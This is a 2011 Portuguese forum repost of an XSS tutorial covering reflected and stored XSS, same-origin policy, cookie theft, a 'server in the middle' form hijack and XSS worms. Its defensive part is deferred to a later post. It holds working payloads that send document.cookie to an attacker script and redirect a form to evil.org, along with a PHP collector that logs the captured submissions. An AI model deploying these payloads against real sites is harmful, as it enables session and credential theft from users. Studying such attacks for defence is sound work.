Tutorial XSS Injection
Autor: MΘUЯΛ | Publicado: 2011-07-25T10:50:00-07:00

Achei um otimo artigo sobre XSS, pessoal. muito bom mesmo!
obs: como é bloqueado no forum alguns scripts como esses, eu usei eles com espaço, entao é só tira-los:


Qual a vulnerabilidade web que está na moda?
Bom, com certeza é o famoso XSS.

Agora que sites vulneráveis à SQL Injection e afins se tornam cada vez  mais raros (apesar de ainda existir muitos ¬¬) devido à programação mais  séria, orientada a objetos, com frameworks, etc, eis que surge uma nova  vulnerabilidade. Cross Site Scripting, ou XSS.

Mas não é um ataque novo, como falei, é o que está na moda. Desde 1990s  que crackers já exploram essa vulnerabilidade. Ela é famosa e temida  porque quase todos os gigantes da rede já foram atacados, como o  mecanismo de busca do Google, o Gmail, o Yahoo! Mail, Orkut  (principalmente), Facebook, MySpace (tem o famoso caso do XSS worm [Samy  worm][1] que alterou mais de um milhão de perfis do myspace numa  noite), etc. E tem ainda um caso bem recente e interessante em que um  hacker fez um video e postou no youtube explorando essa vulnerabilidade  no website do presidente Obama. No video ele usa XSS para redirecionar  os usuários do site do Obama para o de Hillary Clinton.

Recomendo sempre dar uma olhada em banco de exploits como milw0rm ou no  bugtraq do securityfocus para estar atualizado nas últimas  vulnerabilidades encontradas em CMS’s, bibliotecas, frameworks, etc.

Vamos lá, primeiramente vou mostrar um exemplo que não chega a ser uma falha mas mostra como ocorrem os ataques:

Digamos que um site tenha um mecanismo de busca interna, e essa busca é  realizada através de um formulário em que os dados são passados por GET,  ou seja, ao buscarmos por “realidade” somos redirecionados para a  seguinte url:


http://www.evil.org/busca.php?q=realidade

E digamos que na página busca.php exiba:

Foram encontrados X resultados para a busca “realidade“.
É isso é bem comum, mas se os dados passados para o servidor não forem devidamente tratados a gente pode brincar, por exemplo:

http://www.evil.org/ busca.php?q= realidade&lt;script&gt; alert ("hacked by i4k"); &lt;/script&gt;

Isto é um exemplo simples de alteração externa do código XHTML da página, mas agora vamos ver um ataque mais ofensivo:
Vou mostrar como pode-se usar XSS para roubar uma conta de email ou o login de um portal, por exemplo.
Como exemplo vamos simular um fórum ou um blog, onde usuários podem  comentar livremente. Eu criei um script exemplo aqui que simula um blog e  um sistema simples de comentário “vulnerável”. Uns detalhes sobre o  mini-blog-vulnerável:

* Propositalmente todos que postarem comentários podem apagar, isto para  poder testar vários tipos de ataques sem o problema dos testes  anteriores.

* Se quiser apagar todos os comentários de uma única vez use “/tutoriais/XSS/blog_vuln.php?reset=1″

* O script em “/tutoriais/XSS/evil.php” é bem simples. Ele apenas grava  os seus cookies num arquivo texto. SE VOCE NÃO DESEJA QUE SEUS COOKIES  FIQUEM GRAVADOS NELE DEPOIS DOS TESTES RODE O SCRIPT EM  “/tutoriais/XSS/evil.php?reset=1″.

Primeiro apague todos os comentários que possam ter lá. Agora faça um  teste simples, por exemplo poste o seguinte conteúdo de comentário:

&lt;script &gt; alert( document. cookie); &lt; /script&gt;

Depois de submeter isto deverá exibir seu cookie atual NESTE SITE (já vamos ver isso de perto).
Isso prova que realmente esse pseudo-micro-blog está bem vulnerável.  Então apague esse comentário e vamos começar testes mais ofensivos.
Same Origin Policy

Todos os navegadores possuem uma “política de mesma origem” ou, como é  mais conhecido “same-origin-policy”. Isto previne que um DOM ou um  script carregado numa origem possa pegar ou alterar propriedades de um  DOM de outra origem. Quando digo DOM, me refiro à árvore xhtml ou xml.
Para uma comparação entre permissões entre diferentes origens veja aqui e aqui.

Veja essa segurança dos navegadores na prática, vá até nosso blog e poste o seguinte comentário:


  Citação:
                Legal essa notícia.
&lt;script&gt;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "http://www.google.com/seach?q=teste");
xmlhttp.send(null);
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState==4)
alert(xmlhttp.responseText);
}
&lt;/script&gt;         
Se você usa o IEca use:


xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

Você verá que isto retornará um alert vazio. Isto por causa do “Same  Origin Policy”, eu não posso requisitar, muito menos alterar, uma página  que seja de outra origem. (veja um dos links acima sobre…)
Para comprovar isso poste esse comentário:


  Citação:
            &lt;script&gt;

var xmlhttp = new XMLHttpRequest();

xmlhttp.open("GET", "http://blog.tiagomoura-design.com.br/index.php");
xmlhttp.send(null);
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState==4)
alert(xmlhttp.responseText);
}
&lt;/script&gt;         

Provavelmente a requisição terá sucesso e retornará o html no alert.  Você ainda poderá alterar o document.domain para poder aumentar o sua  zona de acesso para as requisiçoes mas o DOM também está incluido nesta  política, então você poderia somente fazer:

document.domain = "tiagomoura-design.com.br";
ou
document.domain = "teste.tiagomoura-design.com.br";
mas não
document.domain = "google.com"; // aqui você verá "property denied" no firebug

Mas então como que o hacker obtêm as informações do cliente e  redireciona para outro host se existe essa política nos navegadores?
O problema é que existem tags html muito úteis para a internet que  necessitam ter esse acesso externo e portanto são liberadas pelos  navegadores. Essas tags são &lt;SCRIPT&gt;, &lt;FRAME&gt;,  &lt;IFRAME&gt;, &lt;IMG&gt;, &lt;A&gt;, etc.
Roubando cookies

Vamos ver isso funcionando, apague os comentários anteriores e tente o seguinte:

  Citação:
            &lt; script &gt;
var img = new Image();
img. src= "evil.php?cookie="+escape( document. cookie);
&lt; /script&gt;         
Isso fará com que o navegador faça uma requisição válida no src  da imagem, mas como o src não é uma imagem válida (neste exemplo) a tag  ficará oculta. No caso a tag IMG faz com que o navegador faça uma  requisição no arquivo evil.php com a variavel GET cookie={seu_cookie}. O  script evil.php é bem simples, apenas grava seu cookie num arquivo.txt,  seu código pode ser visto aqui. Mas nem era necessário, só criei esse  script para voces poderem ver os cookies gravados no arquivo  cookies.txt, visto que um hacker pode, se quiser, apenas apontar para um  arquivo em branco em algum servidor perdido e passar o cookie das  vitimas também por uma variável, depois é só ele ir e ver os logs do  server e pronto.

Interessante agora que, todos que acessarem a página vulnerável, irão  fazer uma conexão com o script malicioso evil.php e passar seus cookies  (desta página) por GET para ele. Isso inclui o dono do suposto blog que  poderia acessar o post com o comentário malicioso enquanto estivesse  logado no sistema, sendo possivel assim talvez o roubo da seção do admin  pelo hacker.
XSS Server in the middle??

“Man in the middle”, ou o “Homem no meio” é um famoso e perigoso ataque.  Basicamente, como o nome sugere, ele faz com que o hacker se posicione  entre a vítima e o servidor durante uma conexão.

Main_the_middle

Mas com XSS, se o site estiver vulnerável, pode-se atacar com algo como  “Server in the middle”, rsrs, em que as requisições que saem de http://victim vão para http://evil , são gravadas (ou mandadas para o o email do hacker) e retornam para http://victim.  Ou seja, o servidor malicioso fica entre a vítima e o site vulnerável.  Isso pode ser feito muito fácil, mas ver um caso usando o nosso  blog-vuln:
apague os comentários
Vamos postar um comentário que irá alterar o action do formulário de comentários para uma URL qualquer, por exemplo, http://evil.org:
Comentário malicioso:


  Citação:
             &lt;script&gt;
window.onload = function() {
var form=document.getElementById("formcomments");
form.action="http://evil.org/pega_comentario.php";
}
&lt;/script&gt;         
Humm, muito legal esse artigo.



Usa-se window.onload para esperar o DOM carregar completamente antes de pegar o elemento FORM.
Assim lá no site malicioso http://evil.org/pega_comentario.php pode-se ter o seguinte script:

Código:

  Citação:
            &lt;?php
$fp = fopen("comment_" . $_SERVER["REMOTE_ADDR"] . ".log", "a");
$name = $_POST["comment_name"];
$title = $_POST["comment_title"];
$comment = $_POST["comment"];

$str = "";
$str .= "#########################\n";
$str .= "# " . date('d/m/Y H:m:i') . "\n";
$str .= "# Name: " . $name . "\n";
$str .= "# Title: " . $title . "\n";
$str .= "# Comment: \n";
$str .= $comment . "\n";
$str .= "#########################\n\n";
fwrite($fp, $str);

fclose($fp);
/**
* Aqui redirecionamos mais uma vez a vítima
* mas agora para a página correta
*/
print "&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;";
print "&lt;form method=\"POST\"  action=\"http://blog.tiagomoura-design.com.br/tutoriais/XSS/blog_vuln.php\"  id=\"comentarios\"&gt;";
print "&lt;input type=\"hidden\" name=\"comment_name\" id=\"comment_name\" value=\"" . $name . "\" /&gt;";
print "&lt;input type=\"hidden\" name=\"comment_title\" id=\"comment_title\" value=\"" . $title . "\" /&gt;";
print "&lt;textarea name=\"comment\" id=\"comment\" style=\"visibility:hidden;\"&gt;". $comment . "&lt;/textarea&gt;";
print "&lt;script language=\"text/javascript\"&gt;document.getElementById(\"comentarios  \").submit();&lt;/script&gt;";
  
O final desse script aí em cima não está nada bonito né…  Acontece que atualmente as alternativas para um redirecionamento  mantendo o POST são quase nulas. O RFC-2616, que regulamenta o HTTP/1.1  especifica o redirecionamento temporário 307, que mantêm a requisição  original, mas quando o método da requisição for diferente de GET ou HEAD  há um detalhe:

“If the 307 status code is received in response to a request other
than GET or HEAD, the user agent MUST NOT automatically redirect the
request unless it can be confirmed by the user, since this might
change the conditions under which the request was issued.”

Ou seja, se usar o redirecionamento temporário 307 com POST o navegador  não deverá redirecionar automaticamente o usuário. A maioria dos  navegadores, incluindo as primeiras versões do firefox não rspeitavam  completamente o RFC e redirecionavam o usuário automaticamente mesmo  quando a requisição original fosse por POST. Essa vulnerabilidade foi  sanada nas versões mais recentes dos navegadores. Agora quase todos  pedem uma confirmação para o reenvio das informações ao servidor.

Bom, no último código eu simulei o clique do mouse no submit para  reenviar novamente as informações ao servidor vulnerável. Não sei se  existe outra maneira a não ser usando javascript.
É claro que é um exemplo, apenas para estudo, num ataque real, ao invés  do cracker usar XSS para alterar o action do form de comentários ele  alteraria o action do form de login, por exemplo, assim pegando em texto  plano os usuários e senhas de todos que logassem no fórum ou blog.

Esse tipo de ataque se chama “XSS persistent”, persistente porque o html  daquela página estará permanentemente (ou até o webmaster retirar)  alterada e fará com que todos que acessem sejam vítimas (dependendo do  ataque). XSS non-persistent é quando o ataque é usado em um campo de  busca por exemplo, e passado à uma vítima para pegar seu cookie ou seja  lá o que for. Assim nesse caso, o script malicioso não é gravado no  banco.


XSS Worms

É incrível o perigo e a simplicidade do XSS. Com o aumento das redes  sociais, mashups gigantes que integram 2,3 ou outras grandes redes, etc,  um XSS worm pode se espalhar por milhões de páginas em poucas horas,  roubar milhares de senhas, roubar perfis ou simplesmente desorganizar  toda a rede.
Se um cracker encontra uma falha de XSS num perfil de um usuário da rede  e criar um script que faz com que quando o dono do perfil acesse a  página ele infecte (altere) o perfil dos seus amigos da rede, isso vira  uma reação em cadeia que (sobre determinadas circonstancias e o tamanho  da rede) só irá acabar com o shutdown dos servidores, como aconteceu com  o MySpace.
Explicação do Samy
Defesa

Bom só falei de atacar, roubar, roubar, enganar com XSS mas e a defesa?  Sim, mas este post já está muito grande. No próximo post quero mostrar e  explicar a maioria das técnicas de defesa para estes ataques, falar de  DoS e DDoS com XSS, clickjacking e se der tempo começar a falar de uma  variação muito perigosa do XSS, que se chama CSRF ou XSRF ou Cross Site  Request Forgery. Se XSS normal é perigoso, não sei o que falar do CSRF…

Até mais.

Créditos: Thiago Moura